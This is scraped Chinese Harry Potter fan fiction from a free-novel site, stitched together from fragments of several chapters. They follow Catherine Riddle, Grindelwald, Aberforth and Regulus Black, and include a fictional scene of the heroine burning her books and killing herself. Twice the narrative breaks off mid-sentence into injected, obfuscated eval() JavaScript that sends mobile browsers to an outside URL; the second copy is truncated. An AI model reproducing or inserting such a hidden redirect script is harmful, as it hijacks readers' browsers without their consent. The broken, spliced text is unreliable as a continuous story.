凯瑟琳坐在阿不福思身前的扫帚上,忍不住和阿不福思说起纳吉尼的事情。 “我刚才碰到纳吉尼了。”她说,“她已经完全变成了一条蛇,记不得克雷登斯了。” “嗯。” “对了,克雷登斯最近还好吗?”凯瑟琳问道。 “……”阿不福思没有立刻接话,但是身体很明显震了一下。 一种不好的预感在凯瑟琳心里油然而生。“他怎么了?邓布利多先生?” “死了。圣诞节的时候。”阿不福思说,他的声音轻轻的,就像是克雷登斯虚弱的身体,随时都会消失在风里。 “什么?我真的很抱歉!邓布利多先生——我不知道,我——”凯瑟琳急忙说道,她还没从克雷登斯死亡的震惊中缓过神来,一边道歉,一边混乱地想要表达一些什么。“那,我能再见见他吗……?”最后,她斟酌着语气说道。 扫帚停在了空中,凯瑟琳回过头,对上了阿不福思的那双蓝眼睛。 “可以。”他说,“他就被葬在戈德里克山谷。” 阿不福思调转扫帚的方向,他们返回了戈德里克山谷,然后降落在彩窗教堂的附近,尽管是白天,由于下雪,天色变得十分昏暗,下午的时候两旁的路灯就已经亮了起来。 墓地入口处有一个窄门,阿不福思轻轻地推开它,并让凯瑟琳先进去。看到一排排的墓地。想到克雷登斯已经死去,凯瑟琳只觉得喉咙发紧,待阿不福思也进来,她跟在他身后走着。两旁通往教堂大门的小路上积雪厚实,从没有人踏上去过。他们 33. chapter32 《【hp】假如里德尔是个妹控》全本免费阅读 阿不思·邓布利多将茶杯放回巴希达手中。 “谢谢您,巴沙特女士。味道很不错的红茶,不过我希望下次能够加多点糖或蜂蜜。” 他说话的语气十分轻松,似乎真的只是在跟巴希达谈论茶水的味道而已。 但巴希达似乎还是很警惕,她挡在门口露出一个不太自然的微笑,“当然,阿不思,下次来我一定记得!你是个好孩子……” 她大概本来还有什么想说的,但是最终没有说出口。 尽管谁都明白邓布利多此来不是为了和巴希达叙旧,也不是为了故地重游悲春伤秋,但是巴希达却就是不肯透露半个字。“我送你吧。”巴希达看到邓布利多戴上了巫师帽准备离开,开口说道。 “那就麻烦您了。” 他们一高一矮两人沿着还未被清扫的积雪小路上走出花园,然后巴希达转身准备回屋。 “他没有什么口信要跟我说吗?”邓布利多忽然问道。 “呃……”巴希达被邓布利多猛然提到的这个问题给吓了一跳。她张口想要辩解其实格林德沃并不在这里,但是被邓布利多打断了。 “我知道他在这里。”他微微笑了笑,但是蓝眼睛里却没有丝毫的笑意。“麻烦您转告他,想要吸引我的注意力,没必要用绑架我学生逼我现身这么拙劣的把戏。如果他继续执迷不悟——那么,我会亲手将他绳之以法。” 说完,邓布利多朝巴希达礼貌地点了点头,毫不犹豫地转身离开了。独留巴希达一个人站在院子门口愣神。 “姑婆,在看什么呢?” 直到一个熟悉的脚步声在她身后响起,巴希达才猛然回头。“盖勒特!你不好好躲在屋里,出来干什么?要是阿不思他们折返回来——” “他不会的。姑婆。”格林德沃略带惆怅地说,“他是不是问了关于我的事?” 巴希达点点头。“你绑架了他的学生?就是那天你带回的那个女孩?” “噢,怎么会。”格林德沃一脸坦然地看着巴希达,一双异瞳闪着狡黠的光,“她生病了,阿不思还开除了她,我只是在救助小可怜而已。” “阿不思不会干这种事的!”巴希达生气地说。 “那就是迪佩特开除的,总行了吧?总之跟我真的没关系,我只是在做好事而已。这姑娘情况特殊,阿不思必然会找上门来……”他移开视线,投向邓布利多离开的方向,“我想要的,只是借此多看他一眼而已……” 【我当时赞同是因为我曾经爱过你。】 他记得邓布利多说出这样冰冷的话。作为先知,或许他的结局早已注定,但是他偏偏不信命。 【邓布利多,现在还有谁会爱你呢?】 他仍记得自己问出这句话,却对上邓布利多疏离的眼神。他已经不在乎他了,他不在乎了!究竟是谁不爱谁?究竟谁还会爱他?以至于现在连见上一面都成了奢求。 【是谁干的?格林德沃,是不是你?我的妹妹,她死了!】 当他在预言的时候见到凯瑟琳的默默然的时候,思绪似乎回到了1899年的那个夏天。他永远记得那个闷热的午后,是他们亲密关系的拐点。 他们两人都心知肚明是谁的魔咒碰到了邓布利多的妹妹。 他只知道阿不思厌倦了他的家庭,却没想到明明解决了这个大麻烦,邓布利多的心里却没有丢掉这个负担,反而成为了他一生的心魔。 他不在愿意用自己的那根魔杖使用魔法了。只要他拿起它,就会不由自主地回想起和阿不思在一起的那些浪漫的日子。 于是,他逃走了。又在那个雨夜,偷走了格里戈维奇的老魔杖。他获得了无与伦比的黑暗力量,成为最强大、享誉全球的黑巫师,直到邓布利多站在了他的对立面…… 察觉到自己已经在回忆里陷得太深,他收回思绪,对巴希达笑了笑说道,“放心吧,那个女孩交给邓布利多他们就安全了。他们只会把造成她魔法失控的黑锅扣到我头上,她不会有事——我好饿啊,姑婆,今晚吃什么?” 他后来才了解到,这个女孩确实是霍格沃茨的学生,甚至是得到了邓布利多的特许才入学就读。原本他以为,利用这个女孩能够实现他的再次崛起,但事情远没有他想的那样简单,不过没关系,他和凯瑟琳,还有阿不思,都会再见面的。 * 另外一边,阿不福思将凯瑟琳暂时带回了伦敦的圣芒戈医院,阿不思已经等在了前台处,他的面前还围着一群魔法部的官员。 看到凯瑟琳,他们都露出了欣喜若狂的神色。 “太好了,终于找到了!终于可以回去交差了!” 那群人里不断地发出这样的感慨。 “纳斯塔先生,那就拜托你在伦纳德部长面前美言几句了。”邓布利多说道,“我为里德尔小姐默默然失控袭击监狱囚犯和狱警的事情感到非常遗憾,但是经过我的调查,这件事很大概率是由格林德沃操控的。我不得不提醒你们,他现在已经回到了英国,并且随时准备着下一场袭击。希望你们把注意力放到对付他身上,而不是这个可怜的小女孩身上。” “谢谢你,邓布利多先生!”那个为首的被称为纳斯塔的男人朝邓布利多鞠了一躬,然后看到站在一旁的阿不福思,也鞠了一躬,“我会让医院加强看管,不要让这个孩子过多地和外面的人接触,以防受到更多的诱惑!” “这样很好,不过还是得注意病人的心理健康才行。”邓布利多并没有点头,只是礼貌地回应了一句。“阿不福思,麻烦你把里德尔小姐送上楼吧。对,是我弟弟,放心。” “不需要你使唤我。”阿不福思毫不客气地说道,他拉着凯瑟琳的手头也不回地往楼上走去。 凯瑟琳回头和邓布利多挥了挥手表示感激,邓布利多看她的眼神多了一些她看不懂的情绪,不过他还是微笑着挥了挥手。 回到病房,第一眼就看到了坐在病床上吃比比多味豆的劳拉。凯瑟琳和阿不福思进来的时候,她刚把一枚红色的豆子放进嘴里,见到有陌生人进来,她吓了一跳,咀嚼的动作也停了下来。 “嗨,劳拉女士。这是带我回来的人,他是阿不福思·邓布利多先生。”凯瑟琳看到劳拉直勾勾的眼神,赶忙介绍道。 “噢,噢,你好啊。”劳拉说道,“我有点印象,但是是什么来着?” “你前几天给我写过信。”阿不福思说道,他的声音里带着一些探究的意味,似乎还有一些怨恨。 凯瑟琳回过头去,发现阿不福思整个人几乎僵在那里,保持着刚进门的时候的动作,眼神正在劳拉身上来回审视着。 “噢!噢!原来如此。我就说怎么有点熟悉。谢谢你啊,凯瑟琳让你费心了。要来点比比多味豆吗?”劳拉说着,从糖豆袋子里又拿出来一枚,这回是橙色的。 “啊,好极了!我猜想这个应该是卡曼橘味的,不过也有可能是搞怪的木瓜味……”她一边说,一边把比比多味豆举到阿不福思面前。 “不用了。”阿不福思还是一瞬不瞬地盯着劳拉,似乎想要看穿她的伪装。但是劳拉毫无察觉。 “那你要尝尝吗,里德尔?”劳拉又转向凯瑟琳。 “谢谢你,劳拉女士。”凯瑟琳接过了那枚橙色的多味豆,塞进嘴里。“嗯,是酸的。”她一边嚼一边说道。 “那看来是卡曼橘味的……”劳拉又低下头,继续拿出一颗绿色的塞进嘴里。 “先生,麻烦让一下——”这个时候,一个护士端着一盘药走了进来,“劳拉女士,该打今天的药了,你的糖麻烦先放一放。这个药会让你睡上一阵子。” “哦,那好吧。”劳拉女士说着,她把糖放在了枕头旁边。 护士念了几个魔咒,然后又监督着劳拉把药全部喝下去,这才端着空药盒子离开。“对了,凯瑟琳,你还没吃饭吧?今晚六楼有一个茶会,还有不少饼干,你要吃点吗?” 凯瑟琳看了一眼昏昏欲睡的劳拉和站在劳拉床头不肯离开的阿不福思,猜测他们或许有着什么关系,需要单独的交谈时间,于是点了点头,跟着护士离开了。 * “你真的不记得我了吗?劳拉?”等凯瑟琳将门关上之后,阿不福思问道。 “嗯?你是谁?就是我跟你写过信的人啊,记得。”念了咒语之后,她的脑袋似乎变得更混沌了,也变得昏沉,很想睡觉。 “不是这件事,我是说以前,你知道你有过一个孩子吗?”阿不福思干脆直切正题。 “孩子?不可能。我也没结过婚。”劳拉坚定地说道,“我一毕业就去里德尔家里做女仆,确实有几个男仆追求过我,但我跟他们之间什么都没发生过。” 阿不福思叹了一口气,他的眼里似有哀伤,似有无名的怒火。 “你怎么能,这么不负责?劳拉。你抛弃了所有人,你知道吗?” “我没有,我没有……我只是记不得了。”劳拉喃喃地说道,她的声音小了下去,几乎已经陷入了梦乡。 “你不记得那个‘亲亲阿不福思’了吗?还是说,你记得他有一个英俊的哥哥叫阿不思?” “阿不思?没印象了……亲亲阿不福思,是啊……” 阿不福思死死盯着劳拉闭着的双眼,期待着她有下文,但是她却不再说什么了。 “我只想解开你们的心结,你们兄弟之间……误会太深了……太深了……我去问他……问了他……” “问了谁?”阿不福思问。 “……”劳拉不再回答,药效很快发挥了作用,她陷入了沉睡。 梦里,她重新站在了一片阳光里面。 那是霍格沃茨的场地草坪。“邓布利多教授好帅啊,好喜欢他。”她身边的女生说道。 “噢,他确实是个很好的老师,谁不喜欢呢?”她附和道。想了想,她有补上了一句,“我不过我可能更喜欢霍格莫德猪头酒吧的那一位‘翻版’,他看起来更有意思。” “你说阿不福思?邓布利多教授的弟弟吗?那确实!”她的朋友说道,“听说他脾气有点古怪,你加油。” 画面切换,猪头酒吧里的烛火摇曳,阿不福思握着她的手。 “劳拉,我爱你,嫁给我,好不好?”

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“主人!你怎么了?需要萨拉做些什么?”那个家养小精灵几乎是跳了起来,她想要为她的主人做些什么,却又不知道该做什么。 “不用了……咳咳咳。”凯瑟琳轻声说道,她随手把那份《预言家日报》扔进书堆中,然后抓起了遗落在沙发一角的魔杖,然后抬起细瘦的手臂指向摆在客厅里的无数魔法书。 她又闭了闭眼,再睁眼时,已是泪眼婆娑。 “Incendio.” 霎时间,高温烈火吞噬了所有的魔法书,火舌吞噬了过去他们一起在课上写的笔记,一起发明的魔咒,一起挖掘斯莱特林留下的手稿…… “主人!您这是在干什么!?”萨拉不顾烫手的火焰想要冲进烈火中抢救那些书本和手稿。 “萨拉,我命令你,不许拿。”凯瑟琳说道,她的眼里没有映照着火焰,只有一抔死灰。 萨拉不得不遵从命令,她呆傻地站在原地,不知所措地看着七年的书籍被全部焚烧殆尽。然后看见凯瑟琳拿出自己的手套递给她。 “萨拉,你自由了,恭喜你。”她说道,“离开这里,不要管我。” “萨拉不要!萨拉要为主人服务!”哪怕自由近在眼前,萨拉却没有接,她撕扯着头顶的毛发,尖叫道。 “萨拉,我命令你,离开我。”凯瑟琳将手套塞进了萨拉手里,然后又将魔杖对准了自己的胸口。 “不——!” “Avada Kedavra.” 在萨拉绝望的尖叫中,绿光充满了整座冈特老宅。 …… 我自出生起便多情 可却从未享过一天父母爱 远度西洋来到不列颠 在玫瑰盛放的花园里 见到阳光下面色绯红的少年 我与本是就是双莲并蒂 是流着相同血液的骨肉亲 曾记得斯莱特林年级第一魁首 魁地奇球场斗清新 有求必应屋中行新咒 密室内论旧语 一生心血结成爱恋 如今是记忆未死书本犹新 这咒语不想玉堂金马登高第 不望一同进入魔法部再续前缘 只望他高山流水遇知音 如今是知音已绝书本怎存 把断肠篇章付火焚 曾与他研究的咒语 分享的一切惊喜与意外 谁知道书本未变人心变 可叹我真心人换得个假心人 早知人情比纸薄 我懊悔留存这些书本到如今 万般恩情从此绝 只落得一弯冷月照诗魂 多承你伴我月夕共花朝 几年来一同受煎熬 实指望与你并肩共欢笑 谁知道风雨无情草木凋 从今后你失群孤燕向谁靠 只怕是寒日清明梦中把我姑娘叫 既以分道扬镳 今日便恩断义绝 我质本洁来还洁去 休将白骨埋污淖! 53.chapter51 1978年的深秋,彼时的伏地魔正是如日中天,但也有一些人开始发现他实际是在用残暴统治世界的真实面目。 “克利切,告诉我,到底发生了什么?” 雷古勒斯·布莱克打开他的衣橱,一个苍老的家养小精灵坐在里面,不住颤抖并且撕扯着自己的没剩几根毛发。那个家养小精灵几乎抽搐着,不断地惩罚着自己。 雷古勒斯叹了一口气,一只手扶着衣柜门。 “停下,克利切。不要伤害自己。”他命令道。 克利切终于停止了动作,他求助似的看向他的主人,等着他的下文。 “克利切,你能不能平复一下心情告诉我,他究竟做了什么?”雷古勒斯又用温和且平静的声音重复了一遍问题。 过了一阵子,克利切终于嗫嚅着开始讲述: “克利切必须做黑魔王吩咐的任何事情……然后回……回家。” “所以克利切到了黑魔王那里。黑魔王没有告诉克利切要做什么,只是把克利切带到了海边的一个洞穴里。洞穴深处是一个山洞,山洞里有一个很大的黑湖……” 克利彻嘶哑的声音好像来自黑暗的水下,雷古勒斯的脸色又苍白了一度。 “……有一条船……岛上有一个装满了药……药水的盆。黑……黑魔王让克利切喝掉它……”家养小精灵从头到脚都在颤抖。 “克利切喝了,喝的时候看见了可怕的东西……克利切身体里像被火烧着了一样……克利切哭喊着要主人雷古勒斯救救他,他哭喊着女主人布莱克,可是黑魔王只是大笑……他让克利切把所有的药水都喝光……他把原本放在里面的金色的盒子重新放回空盆里……然后用更多的药水把它装满了。” 雷古勒斯的手紧紧的攥着,指关节泛着白色。 “黑魔王注视着克利切的一举一动。” 雷古勒斯仿佛能看到他服侍的主人苍白的,蛇一样的脸出现在黑暗中,红色的眼睛冷酷无情的盯着受到过度惊吓的小精灵,一旦他屈服于燃烧的毒药带来的令人绝望的口渴,他的生命将在几分钟之内结束,成为牺牲品……但是克利切回来了。 “克利切需要水,他缓缓爬到岛的边上,从黑色的湖中喝水……很多手,死人的手,从水中伸出来,把克利切拉向水下……但是主人让克利切回家,所以克利切回来了…” “我明白了。” 当克利切讲完,雷古勒斯沉闷的声音才响起。他看上去精神有些崩溃,满脸憔悴和担忧,左手不断地抚摸属于着布莱克家主的戒指。 “克利切,你还记得黑魔王放进魔药里的挂坠盒是什么样吗?” “记得!”克利切说道,然后他向雷古勒斯描述了挂坠盒的样子。 “谢谢。”雷古勒斯在听完之后,声音轻轻地说道,“克利切,你继续待在这里哪也不要去……我要找我母亲谈谈。” * 沃尔布加的房间位于布莱克祖宅的四楼,雷古勒斯敲门进来的时候她正在阅读《预言家日报》。看到最令自己骄傲的二儿子,她脸上露出欣喜的神色。 “雷古勒斯,我的孩子。你来找我有什么事?” 她的目光落在雷古勒斯一只手里拿着的一个金色的挂坠盒,一些尘封的记忆封条被撕开,她的神色难得地露出一丝紧张。 “母亲,我记得您和黑魔王大人是同一届的学生……我还记得您说过他的妹妹就有一个金色的挂坠盒,是长这个样子吗?” “呃……怎么了?你怎么得到它的?快、快把它还回去……”沃尔布加死死地盯着儿子手中的挂坠盒,眼里的惊慌再也掩饰不住。 “别担心,母亲。这只是一个我仿造的赝品。”雷古勒斯赶忙安抚他的母亲,“我只是有一些不明白,您是否知道一些这个挂坠盒的过去?就比如……它与黑魔王有着什么关系?” 沃尔布加皱着眉看着她儿子,有些不悦地问:“黑魔王的新命令?” “算是吧。”雷古勒斯敷衍道,“他找克利切去就是和这个挂坠盒有关。” “好吧……这是我的黑历史,你得向我保证不会往外说。”拗不过最宠爱的儿子执着的眼神,沃尔布加终于妥协了。 “当然不会!我怎么可能做这种事。”雷古勒斯保证道。 沃尔布加点点头,她拿出魔杖指着自己的太阳穴,然后从里面拽出一些像蜘蛛丝一样的东西,放进她身后的小型冥想盆里面。“你自己看看吧。” “真的太感谢您了!”雷古勒斯终于露出了一个微笑,他走过去,深吸一口气,把脸埋进了盆里。 他的双脚落在了霍格沃茨四楼的教室门口。 下课的铃声响起,穿着黑绿色学院制服的斯莱特林学生从变形课教室里走出来。他很快就看到了自己十一岁的母亲和另外一个金发碧眼的女生从教室里走出来,只不过她们看上去似乎在观察着什么人,走到楼梯拐角处往教室门口观望着。 雷古勒斯顺着她们的目光继续等在教室门口,终于,当一个英俊的男孩和一个漂亮的女孩踏出教室门的时候,他看到母亲的眼神变得紧张起来。 “哥哥,你真是太厉害了!第一个把课桌变成一头猪!我看到邓布利多教授都被你惊呆了。”那个挽着男孩手臂的女孩说道。 雷古勒斯反应过来这个女孩大概就是黑魔王曾经的妹妹——那么这个女孩身边的男孩就是黑魔王小时候了。 “这有什么。”尽管他这样谦虚地说,雷古勒斯也看到小时候的黑魔王在妹妹的吹捧下露出一个得意的神色,然后他们的身影从另外一个楼梯口消失,很显然是要去五楼的图书馆。 雷古勒斯不能跟着他们去图书馆,因为沃尔布加已经和那个金发女生离开了另一边的楼梯拐角,往湖底的斯莱特林休息室走去。 他跟着她们一路走近寝室,然后瞪大了眼睛:她的母亲走到不属于自己的那个床位,然后打开那个女生的行李箱翻找着,然后拿出了他想知道的金色挂坠盒。 “太容易了……哑炮就是哑炮,呵呵。”他听见他母亲喃喃地说道,“入学那几天看她天天戴着,也不知道炫耀个什么劲儿……现在知道收起来了——真想看看她发现宝贝不见了表情啊,哈哈哈哈!”沃尔布加站起身,卡米拉也凑近一起观察着这个挂坠盒。 然后,他看见母亲手里的挂坠盒开始不安分地颤动,并且发出嘶嘶的低语声。沃尔布加手一抖,挂坠盒被扔到了地上。 那是蛇佬腔!他知道的,他所服侍的黑魔王是斯莱特林的继承人,蛇佬腔就是他的特殊能力之一。 “卡米拉,你有没有听到这个挂坠盒好像在说话?”沃尔布加抬头问那个叫卡米拉的金发女孩,然后发现她已经窜到了门口。尽管有些不合时宜,雷古勒斯还是在内心里吐槽母亲和这个卡米拉还真是塑料姐妹。 “好像是有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915013|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。”卡米拉远远地观望着。 “这没啥好怕的。”沃尔布加说,“我家里到处都是黑魔法的产物,小时候我弟弟还想用他新发明出的八条腿鼻烟盒来咬我呢。”说着,她又把挂坠盒捡了起来。 刚一捡起来,那个挂坠盒又开始颤动,嘶嘶的低语声也由小变大。 “它在说什么?”沃尔布加有些恐惧,她想把挂坠盒揣进袍子里,但是盒子一直在抖动。于是她把挂坠盒拿远了一些,尝试把挂坠打开。 但是这个盒子像是被用胶水封住了,纹丝不动。 “什么鬼。”她有些恼怒,然后她的注意力回到了挂坠盒上的那条绿色的蛇——等等?刚刚挂坠盒上有蛇吗? “Steal……Steal……”挂坠盒的嘶嘶声变成了恶魔般的低语,控诉着沃尔布加偷窃的行为。 “啊啊啊啊啊——” 雷古勒斯最后看到沃尔布加被挂坠盒的铂金链子勒住脖子,一只手被挂坠盒上突然变出的蛇咬住,然后画面变黑,他被弹了出来。 雷古勒斯抬起头,看向一脸紧张的沃尔布加。 “母亲……” “什么?别问我——其他我真的不知道了。”沃尔布加说道。 “您当时找挂坠盒的箱子是谁的?黑魔王他妹妹叫什么?”雷古勒斯问。 “凯瑟琳。”沃尔布加说道,“凯瑟琳·里德尔。她使用不了魔法,但是却进了霍格沃茨。后来在五年级密室事件被开除了。” 雷古勒斯的眉头紧紧皱着,“我从您的记忆力看到,她在开学前几天还是戴着挂坠盒的,后面就收起来了?” “是这样——我真不知道原因。我当时只想给她一个教训。我感觉那个挂坠盒是黑魔法的产物,现在想想,觉得很有可能是黑魔王的手笔。他无所不知……所以替他妹妹想要整我。”沃尔布加说道,声音带着许多恐惧和敬畏。 “这么说来,黑魔王很重视他妹妹?”雷古勒斯很快发现了关键。 “如果我的眼睛没瞎,那么肯定是如此。”沃尔布加地说道,然后走到冥想盆处把记忆放回脑子里。“他处处都维护凯瑟琳,那些曾经欺负过她的人都遭到了报复。马尔福还有莱斯特兰奇那些人因为黑魔王,不得不对他妹妹也很客气。” “那他妹妹现在在哪呢?”雷古勒斯又问。黑魔王从来没有在他们面前提起过他有个妹妹这件事,他也是无意中听母亲说的。 “早死了。很多年了。”沃尔布加说,“听说就是第一任黑魔王格林德沃倒台那年,他妹妹因为身体原因病死的。” “原来如此……谢谢您母亲。”雷古勒斯攥紧了手中的赝品挂坠盒退出了沃尔布加的房间。 他早就听说黑魔王追求永生,他为自己制作了‘魂器’。如果他猜的没错,那么魂器大概率就是他最珍视的人曾经佩戴过的东西,同时又是萨拉查·斯莱特林的遗物——金色挂坠盒。 他想过很多个办法尝试推翻黑魔王的统治以保护自己的家族,然而今天他从母亲的记忆里,发现了一条全新的路。 他走回五楼的房间,谨慎地将门关上,然后打开自己旧衣橱的门。 “克利切,带我去黑魔王带你去的那个岩洞。” 一条全新的路。 一条黑魔王都不曾成功的路。 为了他家族的荣耀,为了他家人的安全…… 他要复活凯瑟琳。 54.chapter52 事实上,想要复活一个人,就像痴人说梦。 雷古勒斯原本的计划只是喝下药水然后毁掉黑魔王的魂器,但是事实上,为此飞蛾扑火一般的死去并不能解决根本的问题,自从哥哥离家出走之后,他越发意识到如果他们再失去自己,父母会有多么难过。 因此,他的考量不能再局限于与黑魔王的魂器同归于尽,而是要考虑找到一个拥有阻止黑魔王力量的人。 能够阻止黑魔王?这样的人真的存在吗? 雷古勒斯在克利切回来之后就着手研究这个问题,从过去的观察中,他发现黑魔王几乎是一个无情的人,他从不会为杀人感到愧疚,也不会为牺牲一条人名而感到悔恨——他像是没有心。 但是这和他母亲曾经说的黑魔王是不一样的。 从他很小的时候起,母亲就跟他和哥哥讲过黑魔王在学校里的丰功伟绩,以及她的弟弟西格纳斯是如何的收到黑魔王的重视。他从学生时代起,就是一个极有魅力且优秀到无可挑剔的人。 以及,他有一个妹妹。 黑魔王有一个妹妹的事情在部分他的老追随者之中是有人知道的,但是随着时间的流逝,那些最早的食死徒和追随者们发现提到那个名字就是黑魔王的逆鳞,甚至会受到钻心咒的惩罚,因此,没有人敢在黑魔王面前甚至是背后提起这个名字(害怕被施追踪咒)。 还好他母亲不是食死徒,并不知道这些规矩,所以他从她口中略得知了黑魔王和他妹妹的过去。 如果不是旁观者清,他大概会以为黑魔王和他妹妹是势不两立的仇人,但恰恰相反,他很快就意识到,凯瑟琳其实是在黑魔王内心拥有最特殊地位的人,甚至说,他可以谁都不关心,但是他绝对爱她。 只可惜……凯瑟琳似乎一直被她哥哥的花言巧语蒙在鼓里。而黑魔王之所以想要这么做,是因为他害怕失去妹妹对他的爱,因此一直在她面前伪装成一个“好人”,一个好学生,一个好哥哥。 三年前,他曾经利用在学校里担任级长的便利,查阅了过去级长的申请表和历届学生的历史,然后就看到过黑魔王的曾用名,汤姆·马沃罗·里德尔,然后,他又在家属那一栏发现了凯瑟琳·里德尔的名字。 遗憾的是,现在的时期他已经不能回到霍格沃茨——因为黑魔王的残暴统治,别说第二次成立凤凰社的邓布利多,就连斯拉格霍恩教授都为此感到害怕,他不会欢迎他,经管他曾经也是斯拉格霍恩最欣赏的学生之一,因为食死徒已经被归结于“罪犯”的范畴了。 尽管他无法取得霍格沃茨老师们对凯瑟琳的记忆,但有一点他是确定的,那就是黑魔王和凯瑟琳的关系是很紧密的。 十几年成长如奔腾的海水,她一直在他身边,就算说她是他的锚也不为过。 如果她没有患病,能够学习魔法,并且没有在1945年默默然事件中丧生——说不定能够在很早以前就阻止黑魔王的行动——在黑魔王分裂灵魂制作魂器之前。 因此,他必须想办法求助凯瑟琳,让她利用她在他心中的分量来阻止他继续作恶。 那么问题来了。要复活一个死人哪里是想一下就能成功那么简单,它甚至远比用生命摧毁一个魂器还要困难。 但是,为了布莱克家族,雷古勒斯终于在一片晦暗中找到了那道唯一的曙光。 “……古代炼金术涉及魔法石的炼造,这是一种具有惊人功能的神奇物质。魔法石能把任何金属变成纯金,还能制造出长生不老药,使喝了这种药的人永远不死。许多世纪以来,关于魔法石有过许多报道,但目前唯一仅存的一块魔法石属于著名炼金术士和歌剧爱好者尼可·勒梅先生。他去年庆祝了六百五十三岁生日,现与妻子佩雷纳尔(六百四十六岁)一起隐居于德文郡。” 1979年7月底,刚过完18岁生日的雷古勒斯趁着夜色离开了格里莫广场12号。 * 几百年里,尼可·勒梅这位老先生就隐居在一个再普通不过的两层麻瓜公寓里,但他的公寓只有在他愿意的时候才会出现,当有预约来拜访他的老朋友到来时,德文郡的蒙莫朗西街1406和1408号之间就会出现一个低矮的石头砌成的深灰色房子,颇有法国巴黎建筑的遗风。无论是麻瓜还是巫师,几乎没有人能找到他的住所。只是当麻瓜路过那条街时,会听见墙里隐约传来的歌剧的声音,还有叮叮当当金属碰撞的声音。 蒙莫朗西街1406号,那是一家僻静的咖啡馆,偶尔几个从咖啡馆外推门而出的麻瓜会惊奇地看到一个没撑伞、穿着黑色西装、有着古典齐肩长发的年轻男人正焦虑地在咖啡馆和隔壁的唱片店之间徘徊,似乎是在等待着谁,又像是在寻找着什么。 麻瓜们看到的人,正是雷古勒斯·阿克图勒斯·布莱克,他确信尼可·勒梅就住在这里,但是就像格里莫广场12号不会对陌生人开放一样,他不知道应该如何才能见到这位神秘的炼金术士。 黑魔王为了获得魔法石,不惜在英国和法国全范围内搜寻着尼可·勒梅的踪迹,不过他却不愿意来到麻瓜云集的地方,也没有想过尼可·勒梅实际上躲在一个只要他不想出现,就可以永远不出现、也没有人能找到的地方——不过,雷古勒斯下定了决心,尼可·勒梅不见黑魔王是正确的,但他必须得见到这位老先生才行。 不知站了多久,他从早晨一直等到天黑,咖啡店和唱片店都关了门,街边的白色路灯已经亮起,照亮了有着雨后水迹的地面。雷古勒斯再次抬起头不知什么时候,1407号的门牌已经出现,他看到一个微佝偻着背的老先生打开门走了出来,手中握着荧光闪烁的魔杖。 “布莱克家的食死徒,找我有何贵干呢?” 雷古勒斯浑身都一激灵,他的内心几乎欣喜地发狂,因为尼可·勒梅终于愿意和他说上几句话,他必须好好斟酌词句,让他能够愿意帮助自己。 “呃,尊敬的勒梅先生……我确实希望您能帮我一个大忙。其实……我想推翻黑魔王。”他直截了当地说。 “我知道。” 尼可·勒梅一副了如指掌的样子。“迷途知返……我很高兴看到年轻人能够从那个人的思想荼毒中清醒过来。” 雷古勒斯露出了惊讶的表情,而尼可·勒梅则朝他招了招手,“过来吧孩子,我们上楼谈。” 尼可·勒梅转身再次打开门,示意雷古勒斯进去。他们沿着楼梯走上去,二楼客厅里杂乱地摆满了各种乱七八糟的炼金仪器和两把花纹褪色的扶手椅。他们轻手轻脚地走过已经休息了的勒梅太太的房间,然后尼可·勒梅打开了最里面的书房的门。 屋子里充斥着魔药药剂和金属混合的奇怪味道,没点灯时书桌上的一口坩埚正冒着银蓝色的幽光。 “烈火熊熊!”尼可·勒梅用魔杖点燃了屋顶的蜡烛吊灯,雷古勒斯得以看清屋内的陈设。摆在窗边的檀木书桌上各类物件和炼金仪器摆的满满当当,除了两口坩埚以外,书桌的正中间摆着一个水晶球,和占卜课上用的那个没什么两样(看来他就是通过这个水晶球观察了他一整天的,雷古勒斯心想);床帘是墨绿色印花的丝绒制造,可以将窗户遮得严严实实。书桌旁边摆着一个巨大的地球仪和一个占星的仪器,再往里是一个被烧黑了的壁炉,壁炉上方是一张尼可·勒梅的画像(正在睡觉),看起来似乎是十八世纪的油画风格。 勒梅拉过一个椅子坐下,然后示意雷古勒斯坐在另外一把椅子上。 “那么,你来找我,究竟希望我帮什么忙呢?” “噢……这个说来话长。”雷古勒斯说道。 “直说就行。” 尼可·勒梅挑了挑花白的眉毛。 “好吧……是这样的,我为黑魔王这些年的统治感到不满和畏惧,但是很显然以我的能力不足以对抗他——但是我已经加入了食死徒……您知道的,只要加入食死徒,就没有‘退出’这一说法,要么死,要么继续卖命。”雷古勒斯说道,他的尾音微微有些颤抖。 “我并不是畏惧死亡,如果我的死能够让他在面对宿命的对手的时候只是肉体凡胎,那么我甘冒一死。但是,在那之前,我还需要完成一件事。 我查阅了很多资料,并询问了我的母亲,然后我得知黑魔王有一个妹妹,叫凯瑟琳——不知您是否知道?虽然她在三十几年前就去世了,但是我打听到黑魔王一直用魔法维持着她的尸身不腐,这些年也一直在做有关的实验……于是我得出了一个猜想,那就是黑魔王对待他的妹妹的‘情感’是特殊的,没有任何人能够替代。” “所以?” “所以——”雷古勒斯紧攥的手指关节发白,“我知道您炼金六百多年,一定并非只有魔法石这一块可以长生不老的石头,对吗?一定还有一块和魔法石相辅相成的石头,比死神的‘复活石’更加有用的‘复活石’……我希望您能把他借给我,我想复活凯瑟琳。” 他说完,尼可·勒梅却哈哈大笑起来。雷古勒斯则在这个笑声中面色紧绷,看起来更加紧张。 “布莱克……你真是一个聪明的孩子!” 尼可·勒梅笑呵呵地说道,“我敢说,你这样大胆的想法,我已经快一个世纪没有听见过了。” “什么?” “你们的校长,阿不思·邓布利多先生,曾经问过我相同的问题。那时候好像是1899年?我记不太清了——当时我还住在巴黎,阿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 